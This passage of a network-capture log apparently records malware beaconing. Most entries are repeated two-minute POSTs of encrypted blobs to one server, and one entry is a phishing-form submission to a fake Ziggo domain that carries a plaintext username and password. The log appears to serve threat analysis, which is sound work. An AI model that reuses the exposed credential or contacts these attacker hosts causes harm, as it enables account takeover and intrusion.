  4282. [01:31] <HTTP> cz1M3pE/VEPs2M87LAZR6o6M98OpFSZBCJ5ImYtVurGoNIb4Oemt8ohYKBqjGLenwgQZ0hkCs/GDrQ3A+cOyoN6zefA9rHCeUGccKxx153fHe9pHuWrmKJFxL8VHnfR1joho3u0/S29ecveK3dfL86xT3v8o0VtFNt+WnvFXlsTG3EWETkw2I0M1Stdm/SW47bemviCwhU20GNWZtmvpwUZNWsHydIv+fpypeK8nprpPHKDoUtvOQwCNud9tt3mZffmbrixeHZyWiTif436AfFc5P8jibIaAR+Vuf0l+Fc6NNBJCDLtaHCPVh6Y61SATrxkLhEP4uemfRqM5IZDYdtJ7wGtdL2qyAwYUGw==
  4283. [01:32] <HTTP> Socket initiated: 203.87.133.143
  4284. [01:33] <HTTP> POST / HTTP/1.1
  4285. [01:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  4286. [01:33] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4287. [01:33] <HTTP> Host: 172.86.120.218
  4288. [01:33] <HTTP> Content-Length: 360
  4289. [01:33] <HTTP> Cache-Control: no-cache
  4290. [01:33] <HTTP> dz8V2ZFqBclFJs+/+E2a+UiXQwhs5aZXRHIsJyYezjg+J6y3ogunkUglziZYUUiQ5aH89qiqgrGajbfykBXFgtdb2gV+UAx2E/2f/RqSVWdAms8jVOUid3P97UD274x0RaJDm6wnBbeP5LHnh0ewth8QG894F+QgkIy5RXHQxq6F7pxpgnzSWkmGmnD0wHm7dNSJ3vWtWdPqljZ6vVWUIXYOcQ2yGRhEHkNAdhBfFGIk6ezUbOJekF1z9DXmxpJZT9y0DiHJMawclxcaIaN+pv+cPGbW9UtzonLN+TttD0zPu+4zsN1oT6M6R4t/yVhAjZg5tC3ECRrEm3rPEgETbAV5PqvE1Kk7wE11Gg==
  4291. [01:35] <HTTP> Socket initiated: 203.87.133.143
  4292. [01:35] <HTTP> POST / HTTP/1.1
  4293. [01:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  4294. [01:35] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4295. [01:35] <HTTP> Host: 172.86.120.218
  4296. [01:35] <HTTP> Content-Length: 396
  4297. [01:35] <HTTP> Cache-Control: no-cache
  4298. [01:35] <HTTP> JmxMjpdtWPk7OrOBcexACzZAEejdXkO78gCxM80+S7GUgJlVbUQP0mZmi1YiKRcZA/5P1CdxfXybdZWh1kQ1itmrkqcaXD/BzSCo91SnowiBmTbTOddIPHErVJonueKRHHu49eED0aJHQC5tbVViwlI4OvhQOpIt58OQtURmJhYhDlvBQL6y8FClTBKq/UOjzdXgYTOLnKxUtQmufUG729Am4Oubr3lDGCBqt/EG6xO2GYj7HaTCuGnzdMa+o++Ct7LtAA3uYSabjnHadJR4Yb24iKM1u6eHke1i7elL4cNgoNxZTIvoDUbJxK/MdnL7/hUGCJjYFkS9u+UV2+0Fqc0IMu5wFa85LYMT8UAFHM0hmHvM7ogmvidY2wbrC0fALM4O0KW6W8f8
  4299. [01:35] <HTTP> Socket initiated: 94.208.81.143
  4300. [01:35] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  4301. [01:35] <HTTP> Host: ziggo.nl.hacked.jp
  4302. [01:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  4303. [01:35] <HTTP> Origin: http://219.93.200.189
  4304. [01:35] <HTTP> Accept-Encoding: gzip, deflate
  4305. [01:35] <HTTP> Connection: keep-alive
  4306. [01:35] <HTTP> Upgrade-Insecure-Requests: 1
  4307. [01:35] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4308. [01:35] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  4309. [01:35] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  4310. [01:35] <HTTP> Content-Length: 113
  4311. [01:35] <HTTP> Accept-Language: en-us
  4312. [01:35] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=olandesini&userId=olandesini&password=Aerera58%23&button=
  4313. [01:37] <HTTP> Socket initiated: 203.87.133.143
  4314. [01:37] <HTTP> POST / HTTP/1.1
  4315. [01:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  4316. [01:37] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4317. [01:37] <HTTP> Host: 172.86.120.218
  4318. [01:37] <HTTP> Content-Length: 400
  4319. [01:37] <HTTP> Cache-Control: no-cache
  4320. [01:37] <HTTP> JWkWgMQ4AvKGtSLolksZOP49/yKa3y6+OICOQujgXKeO7sGFsDdiHlJIG79hQjFq9dm8rhUMWVsDMValumms4BwpM65tww5fueMNL+6QC1st92eBjiGW9Y0sfGeJa3598EsrNczbejHJRpT9GLNgdvZjT+dJEkHshlcxjdvd9cj9bAQFksr8lk2Pz8qwkbc1Eb3jlw9JsAS/Bj63VQefekqOk8ATUPXBKzfdC52SUgkTI/nKARosEzi6LKMn4KAY5rThQjMX7Pb7Ri3BCi+FPxleTAh+IWjQ7qSQmcXiwPi7iJ+Oo7KJopjjnc1D3+E0TYTBPGvptZZsZKzS31bHdTO8UuFpqpVEkXP2tStxD0h8ozZRsD7eLixUl0vjDe0XqP6gevFeg5l77xdf
  4321. [01:39] <HTTP> Socket initiated: 203.87.133.143
  4322. [01:39] <HTTP> POST / HTTP/1.1
  4323. [01:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  4324. [01:39] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4325. [01:39] <HTTP> Host: 172.86.120.218
  4326. [01:39] <HTTP> Content-Length: 344
  4327. [01:39] <HTTP> Cache-Control: no-cache
  4328. [01:39] <HTTP> eWpFgJQ/A+W11DxTc/hxYsawZpdEj9TIVt/j8grtnfU83NVVykiqoE9/qgERO2nHQnnlnOOG5lq1jTYiovgrSBynrktruG135i8Sa725nFZcvy+xgBY5lx4Yzd/CP6DNdWSADNW5hOSUds/5sVtvWXHErryXhn9zXbvsx57sKhTI+4bfMlHhLVAF/nmxa/lCASAQoFnjBaZUGmYKQjRxbbuJrC7rLmDCfaoT1O6enfxaaXR3hqNGcgdXYcOlIewXELidtwWtwxcQ18F9IZcGYOIXqKHz7d14JSwmQSvCl8Mn8a6Q4KcVFXqFqehwM4hqtXt+m+pUpbH2r0ginz9VLA==
  4329. [01:41] <HTTP> Socket initiated: 203.87.133.143
  4330. [01:41] <HTTP> POST / HTTP/1.1
  4331. [01:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  4332. [01:41] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4333. [01:41] <HTTP> Host: 172.86.120.218
  4334. [01:41] <HTTP> Content-Length: 376
  4335. [01:41] <HTTP> Cache-Control: no-cache
  4336. [01:41] <HTTP> cjBHiZ9pWMNjazPEaIZ6e9+OVjybI6dMqyBx47NZ/mJlqe2cXtxD6IrRFrXfpCYYRnC19TvsAO7X+dj9eoMjOctNPZNH7KuTbD92FfeIu9CMnn6wQDHYPVMSqydN7/CZ2RnBEQUBNr04SF5Z1BHYIEPSQ42Qj20PgS8yIoS2xDNDv06GeJ1kUxeYwgvG39++01GlXfStfGMRtEvQfFsmNLADs0yXZwAwXPocs9cyw6m7CeafbqgnkxpPOAKEtSm0McTXhLPjDwjk5JEwZuCuyNaxr8d0Y01hO6QYiMo9mEOj4kmzUJGB+zUONCIv2FKpX/pY6JvrZE7EJ71Xd429p2fogoXm7roYGNoq/VetyDGKtp40BUAXTM8y
  4337. [01:43] <HTTP> Socket initiated: 203.87.133.143
  4338. [01:43] <HTTP> POST / HTTP/1.1
  4339. [01:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  4340. [01:43] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4341. [01:43] <HTTP> Host: 172.86.120.218
  4342. [01:43] <HTTP> Content-Length: 380
  4343. [01:43] <HTTP> Cache-Control: no-cache
  4344. [01:43] <HTTP> dG5E3sNrU2PwXFqenUYioVfUt/j5ZfF2XILofTmb4tPRxZUcalfKJ8qymVJlz5zSb5FdgP6JpUaZS/LTHuYvjFi61bI8XT4mRKuKUtWUBhscoNOTnypa4Mq1ndycotiC11bHZZ8NDo3zoW5YGngUcYbX5mxcrSTIlh9VhzU48D3RX8YnBzerf8K2MCrCVvhYMFVX8+aJhLqGhQSMoq819eV/WqgZGUNIttLzXeByAvRi8oglE6zKC4xQzQHot1XuJ4XE/YeOYjQ6OVNyuqHpYFwGA3ptNxrK6l/vrxKpY8ikwwvFkut3jfaa9RIU7h7r698y3IhU6n16XkQlRDypGXNyvfJp9d//qXxbfZeT4jROKYzigE0nep6X00w=
  4345. [01:45] <HTTP> Socket initiated: 203.87.133.143
  4346. [01:45] <HTTP> POST / HTTP/1.1
  4347. [01:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  4348. [01:45] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4349. [01:45] <HTTP> Host: 172.86.120.218
  4350. [01:45] <HTTP> Content-Length: 372
  4351. [01:45] <HTTP> Cache-Control: no-cache
  4352. [01:45] <HTTP> JT5M2pQwUz4e64BaYuqsiS7x6KN1Wnex0gUC0M08wlHimMG3eqSjARAdXVRwgjYa79Ee58RDR631G2pgdc+AmKcWIaBV0x940FBzd06KOPpqKH6ErJk25yc4eq13KlZFa26PjCfafh6dABrN/G+pYEkY/H1DnW3dIJcsoUBPfa5yAsMD62MVExh7kp0vX9shZ8Wgbrr2AbG3763LvjdxKWkDQLIqyJvIg/JzuvNFP2UIQjnjFQ2BmuUNguworUB8i3Ub8ZZqhWt+shtQ/jBeyGBKwZHXqvs21UIPz4v6SkRDZcFJ5hBGM/GPf1Ulzgm3GySnmuUt6POBlSw8nuNsAmHH0U9TOKXokVtZLPWX2thyGpumIQ==
  4353. [01:47] <HTTP> Socket initiated: 203.87.133.143
  4354. [01:47] <HTTP> POST / HTTP/1.1
  4355. [01:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  4356. [01:47] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4357. [01:47] <HTTP> Host: 172.86.120.218
  4358. [01:47] <HTTP> Content-Length: 412
  4359. [01:47] <HTTP> Cache-Control: no-cache
  4360. [01:47] <HTTP> dDwXjMc7UeP1UlX+y8thIa/0GzKgQnuTdke6j7qLZK9MA9jNAP74MsGlP8P0S5R4NNQ/wE5J1oAWD4dpAUnNyt+JiHK3hSPVzE5f39+V/exhK84y12JIW8MpVqkMy+SHEt0VRNcUUROjRbsvxNidk9lAQ9SMN5WmCM02ZSPLqiLuzGtjUE1hzFpfqTSLB3VlctPagjPo8WxL7c/9NxoayIWxFCFwIU/GEw9qkEv6CtaU5ojWl1WMUmTAw4k7RYdo9wBS8YGhtEAXDvoQE0NxUrkyHv4T2Kbo+FKgcQPzKJPkTXYYIKtvu9ETBGia1VNWa8+4ujoeaJxYz+Ke6cUqsFjQv8VlV1EFpFW6nl7alCiisNcHfW5CsCdddR/THmy7f1qbWt/uDbSz5c
  4361. [01:47] <HTTP> YB/Y6nr14Qfw==
  4362. [01:49] <HTTP> Socket initiated: 203.87.133.143
  4363. [01:49] <HTTP> POST / HTTP/1.1
  4364. [01:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  4365. [01:49] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4366. [01:49] <HTTP> Host: 172.86.120.218
  4367. [01:49] <HTTP> Content-Length: 420
  4368. [01:49] <HTTP> Cache-Control: no-cache
  4369. [01:49] <HTTP> IjwS3JI6WesO37FPkpEx077Q+Q9wV64eQ4QxCSCgx7kJaSsDI3bokz8NedOWrsDxMGubJZOPJku4xQPY8Ps57u5Pbx4C22uJBWsl6zxcwlOoN7GH2DJYZqnhFHJ/c+eSj3fKOavHOv/kPSGXePSahlpR3EQOCsceHRgU4pqTiyNTJ/p4YnfSqxcQk/nKUm6XEuB/llWjh8q92Xsd5ZwSNxglQlcShS0nV+4M4ARAZctbvUEuqYDdzaNkjVFqFjqK6DNGDTVttUfgG74FezQtO7nbks+LE+HN0mZZuVeYdpgbnp32EY+CWXLV27RMUvIohD9I0cG4KBNO85vlDApAi9ON+V5M6dQbL1ujxlMgyU3uoutT5PaHXczivHiRHE4Qt2ohsr/HHfsxAn
  4370. [01:49] <HTTP> qMpXKmL0+FzobpWBpdELWk
  4371. [01:51] <HTTP> Socket initiated: 203.87.133.143
  4372. [01:51] <HTTP> POST / HTTP/1.1
  4373. [01:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  4374. [01:51] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4375. [01:51] <HTTP> Host: 172.86.120.218
  4376. [01:51] <HTTP> Content-Length: 416
  4377. [01:51] <HTTP> Cache-Control: no-cache
  4378. [01:51] <HTTP> dDpFiJdqWUCHkh56aVi1P50vTxggNWwr5Yj2uI0sW1zR2A9QUH4WCWAt3w78WzFG7DoFVHDXRkE1ltNb3xoE1k4gE41GROgU7OWmgCdp1NsfqDty5//o3+5dRjT7UMgzCtJQmTTLm/99E9e3hWkeEyQWjdBL4QPgmZ1uc6G3tVP5QFxORTFpf3vJmeRdwUC7em5rNSHrHRwDGwQqvBGt6ukQd25D8lF5VNliBnr30FLi7r+eWmosNfyTWJuGqfGWrUAxltbKET/JM6xGxZD9aZ0St6MNz92L3VXV07JDHraxNV17GpMIsfoQRm/M1f2VzHR3lZtilgFMFDXvx8+GOw9Kc/tNPxC7zqg+EukkbKaUXcrYFvLVIgMMcXeCTREhNdL1r6fQzXBfDu
  4379. [01:51] <HTTP> ZEr0m5YDU/eXiY+0k=
  4380. [01:53] <HTTP> Socket initiated: 203.87.133.143
  4381. [01:53] <HTTP> POST / HTTP/1.1
  4382. [01:53] <HTTP> Content-Type: application/x-www-form-urlencoded
  4383. [01:53] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4384. [01:53] <HTTP> Host: 172.86.120.218
  4385. [01:53] <HTTP> Content-Length: 388
  4386. [01:53] <HTTP> Cache-Control: no-cache
  4387. [01:53] <HTTP> eWlEiJdqWAkyhQqb+3maRtx++cmekv5F3JkcTdNqNlS0gR2fdrZIvW6nh0GAY1mwF/pyPM+TO9zWsvu8upJ9DY73OOi4RXk52Lsb0lzoGYhMwkShl2qT0QZsQ7QfKISG0puX84u6wz+9Y/jn9L7Ss/4gBWP80LilOeqjI3mTrRMP2bWCiHu7QI84KKMuuwCNk6W3BAJH9zrezdvE83Qxvz9g6uIA2AMvw2Z0eE8RqVM4Yog+msSfJNYSXi/wXZdl3zzxmorULV7z3hIuoWj3kBGdG4MAhRl4bj5i8hCv0UmY8e/EdPNPwiGdQCfLzj0Szyb4P4ZnahqdRoASMfqo0d0zBKB//7cj5sMi0nQv++c0xOfOACTT+ekrDOh3niu9Mg==
  4388. [01:55] <HTTP> Socket initiated: 203.87.133.143
  4389. [01:55] <HTTP> POST / HTTP/1.1
  4390. [01:55] <HTTP> Content-Type: application/x-www-form-urlencoded
  4391. [01:55] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4392. [01:55] <HTTP> Host: 172.86.120.218
  4393. [01:55] <HTTP> Content-Length: 408
  4394. [01:55] <HTTP> Cache-Control: no-cache
  4395. [01:55] <HTTP> JDlEipM7WBo4LAs7rcaSZtXfvz+I90z5DvAuPkXMYnsj6tviqWp783mxfc+yyhNbT8PH80cGxXG4UuvmmncRbI8eYCEKYwoWhmlF4iAPefGgx0dGb51s8lswx2EuqpunCF2lxDl53wnE/cLaiZdHJmiRs9AP0hh1JBvPCMbBY8YksZTUNARnj/utDYdE4GqwyhD9mlgc0zwS6z1LhTaXyi9PgA9o3BaojdaSp/E/nxSFMZy0dDAyuCbNVwe3qLrQR2FeeuGNIZcnWHmzVUc5b/ptdo3tKDw3BmApw1PtmjLu0mWhwoenQWhc3lUulhAXMrRlp+OrCzj1Fxnfs63iXs7VYmtoHMbRJxdt30l+8TY2lBTD5cGoyOMlc954bjc7sumyjJJ3kHrAJCPqa7N3fQ==
  4396. [01:57] <HTTP> Socket initiated: 203.87.133.143
  4397. [01:57] <HTTP> POST / HTTP/1.1
  4398. [01:57] <HTTP> Content-Type: application/x-www-form-urlencoded
  4399. [01:57] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4400. [01:57] <HTTP> Host: 172.86.120.218
  4401. [01:57] <HTTP> Content-Length: 420
  4402. [01:57] <HTTP> Cache-Control: no-cache
  4403. [01:57] <HTTP> cmpDiZZtUS7a/aeG33FMheD3upASg/6PIQCAf0He/5uqGz1d9O8oKH4QBr/7ITQ2WOLDjjEw/UCyBOFXyZFvkyEs3NNiS3CFN1fXgbKAZnWyQM8bB2AAGkZW5JrAzi3SFfaKugA8/RTgUJPJZujKv2kmEsr9EPunzz2pP9AigO+l8BLifVMgGzap9rCzr0JluXcPBmcqt48Up1ggeiJ/7cFZsirEIdMTIgdDvHqrflY3xNuL15uPBGHVZLrgJRix6TI7+cKXGEweNoxcc1UeY8xulqmjg/vDeoxRfGLF3Tkr/59ZG4cUHI0teJQ+pZLEE9THWmOsmIJOOQ8QmuM0ZNKMBXCyeEVSplrGDe7iUdDJl2r8CVV/MJnnouOkI46xVpZI53mWGMfs9p
  4404. [01:57] <HTTP> pC3cZ/z5KzdnORRQTfBQ==
  4405. [01:59] <HTTP> Socket initiated: 203.87.133.143
  4406. [01:59] <HTTP> POST / HTTP/1.1
  4407. [01:59] <HTTP> Content-Type: application/x-www-form-urlencoded
  4408. [01:59] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4409. [01:59] <HTTP> Host: 172.86.120.218
  4410. [01:59] <HTTP> Content-Length: 392
  4411. [01:59] <HTTP> Cache-Control: no-cache
  4412. [01:59] <HTTP> JT0Vi55tU2HnqATw8CubDgHJ3OP/6rfsmazIDNFRbLNz4kfaU7s/2hgHH3gqsAPcOolri4i3q/dI7Lr2OJRC5CKJPE9VUxsF4RRoyrlAbgd9P7x+jbRFSDIgiKRnRPoqZdILT7El+eJuogjg3bJeRRy2Y64UA41TCNEkdurZtEdlZT1ZEFajqVJ2IgXgXB3DuFktkuLMB+u1RNB9v/NU9E78gC/OcfVR58OAaSYG460wAeWY8EIdUp1Rz0ts+ln/PI4z8hmKDibPyHIv9oYJlMjypyLLCb73tIJkHmPcMNNfBTTqgHb3GU9AG/PApOla6zUTDCPz8r3DCMdwPG7G0w4imVliOYT5D8ZBVVgl1bDw6U3W5nnZinlCj7aVGt3lmAJ9qs8k
  4413. [02:01] <HTTP> Socket initiated: 203.87.133.143
  4414. [02:01] <HTTP> POST / HTTP/1.1
  4415. [02:01] <HTTP> Content-Type: application/x-www-form-urlencoded
  4416. [02:01] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4417. [02:01] <HTTP> Host: 172.86.120.218
  4418. [02:01] <HTTP> Content-Length: 376
  4419. [02:01] <HTTP> Cache-Control: no-cache
  4420. [02:01] <HTTP> eDFFgJQ6U8ST6C9D/FApcuIPRbbGjw51/+tO3uFhJnuVRhZ4k2JAbUsU05RNjZh6/3kKi6c6GtY1cGC7eWdGaqXmMZOvhVPAuocIeCH1e5ash4eyi9UUKLwej4clJJ0aJLiMFqFqGo7q1Pu0EM+ojQvepNplTpuT4TkrtsyCQd1mxmXVwp48UctGKQbwIperMgaZ/SCVbS/QHJ6MABVR3lsniJ0Teu65PrQ0BL8RRQGethvJOFGI9GAyDNBwVosFDdlWlM0Vu9OeBuTUzzd5QGRS6QnE+2P9R6oe9X0xKpPlQfQusAtILvCldIJUcRJvlxyQLU7NyvKaGRlOTdP7cPJGnxkyv73FP59C81w5SVBwG8elnXR6D5kW
  4421. [02:03] <HTTP> Socket initiated: 203.87.133.143
  4422. [02:03] <HTTP> POST / HTTP/1.1
  4423. [02:03] <HTTP> Content-Type: application/x-www-form-urlencoded
  4424. [02:03] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4425. [02:03] <HTTP> Host: 172.86.120.218
  4426. [02:03] <HTTP> Content-Length: 364
  4427. [02:03] <HTTP> Cache-Control: no-cache
  4428. [02:03] <HTTP> JjBD25NtUCy2yrhhPNlf8NlwTX0qJkwxw7xTfZUdgA7PUpArynN8Ib0sS5EC0H4h0CQ9IW8Nc0UfWOZpncaaTE7e0odICSvaT/+6GhX7AHUFKpew5G9Rz7N6nEVyn3ae1OCWb0AyKiXy/lHI1D1NYb9rE9u+GhGBPPPMINZPqv6Zt4JJMesx/wQRYyfIkevjGD8aDJ5087WngmSTKStXFWe9fxFoU2+5Ojs7AbyO0cWW1msDuNtDvo0/a5uLObrpCL7ptPHuw/z7P5c2xx0rLvBVaLrnwq1U5RsBg5RSNEdMzT6xmg+YlsKe7FVIJo1BoCP0kuz9t2BRQZl0WvUj+pKPaHFA4TDDVppyG9nzKTI=
  4429. [02:05] <HTTP> Socket initiated: 203.87.133.143
  4430. [02:05] <HTTP> POST / HTTP/1.1
  4431. [02:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  4432. [02:05] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4433. [02:05] <HTTP> Host: 172.86.120.218
  4434. [02:05] <HTTP> Content-Length: 392
  4435. [02:05] <HTTP> Cache-Control: no-cache
  4436. [02:05] <HTTP> dm0QgZZqA+Xmd89BVI80TbFX8WM7aXAVEV7XlwhmRqRpEWgZ8fYMO2DdnrHERPT7S2Roa4zCma52cCri7ASVI23IgVifz1IU2jcBrgY0EuotsZwYqS9c577QfBuZshOuJTc2JTHF86CJLzvAm9QAT7NHA+KiCjVQ1fke0/s7CweuFPGrzm6sye/Bkw14kuiQfY194UuVAPK8ofTYcL/eqC6tHlylStmRnpS53j5Ls7X3Y3cTR+zdYn6r3P3eJ5a3FWDIsS8jfaPDb3DfdueJLM/BGKEMihKYQpel037UR6uCt9t8AXTmLGR281U6fVduEA1Lno5fQQxGjRqhZQ7kvalnJAvgBCLUfJmvr35lV81Vn8vwRvbyBtM0Lyuty+I9WDp/1w==
  4437. [02:07] <HTTP> Socket initiated: 203.87.133.143
  4438. [02:07] <HTTP> POST / HTTP/1.1
  4439. [02:07] <HTTP> Content-Type: application/x-www-form-urlencoded
  4440. [02:07] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4441. [02:07] <HTTP> Host: 172.86.120.218
  4442. [02:07] <HTTP> Content-Length: 392
  4443. [02:07] <HTTP> Cache-Control: no-cache
  4444. [02:07] <HTTP> eG1H25RqWAiGZFlV87xd1l4oN+NZx783L9HS2f8/1v1h97SAy1fe8pmm/oUbhSGbgQ1tsYSV1B7F+4pX18LsQqwYbB+p0TpTtPlYhso5NlsBsFdJHs9F+IVeB1JVM+57QnBV6DNvbtzy+Rjs5fvtH8gDc5iBwrUv5R5/5s6KT+ThbEUDOBRM8yXtQNaUVNdtssmwFQgsFrOzy2Zkwd0GM4IZ/brU4aVVmxxEtHzPx3Dy7J4uMNeRVhy/gUctJdckVo4EQSpKSlHsRIG6LslbyfpiQQcswIL+CYmHPKrDVkfpqPldZfbk2lRCsoLeRPVeZTKjWs2lJZTNbhYwdSyOA8XRceD1QLaXd/qi2Et3kuM62QsjMNIUA6VDDhRDQHl6bSrVAA==
  4445. [02:09] <HTTP> Socket initiated: 203.87.133.143
  4446. [02:09] <HTTP> POST / HTTP/1.1
  4447. [02:09] <HTTP> Content-Type: application/x-www-form-urlencoded
  4448. [02:09] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4449. [02:09] <HTTP> Host: 172.86.120.218
  4450. [02:09] <HTTP> Content-Length: 404
  4451. [02:09] <HTTP> Cache-Control: no-cache
  4452. [02:10] <HTTP> ImxAgMBpVZKO8KJygn+LjcgDt62Ay2zj4Dg1F9HVnA2a9wSDdcQ9aVnfUMkjFqBkMaMEUdLhN0MstP3A8jdWjAprG/vg6zfBcHP0OBVzbLFAQ0wt+/MwKWDzTb9omxEe49eQQi4KdBNfIGENHsvTURXCffHiPkJcFjvEHJ3MVhDm496HgM/sdimKNFRFL2UPvxwGPDJ/1vDC8o8kokqXEo0/+zKwqcswwOQOlJwmPhw30xvSEnNiZGlx4SUWSHzB3u1862wItJEh/DlPHTPii4ruOQAFhcIzX9MXX3W1MAPONdDTgy0vT5wVSZMZGrjqiVQ6iaMAgv2aiUw0z+mPYP4LpFxGgUW6Mn9qC4BdH6uWJBAzQM7z+I0PE4BDwVGXrIHlMXdeEj7dDrwFPyvR
  4453. [02:11] <HTTP> Socket initiated: 203.87.133.143
  4454. [02:11] <HTTP> POST / HTTP/1.1
  4455. [02:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  4456. [02:11] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4457. [02:11] <HTTP> Host: 172.86.120.218
  4458. [02:12] <HTTP> Content-Length: 400
  4459. [02:12] <HTTP> Cache-Control: no-cache
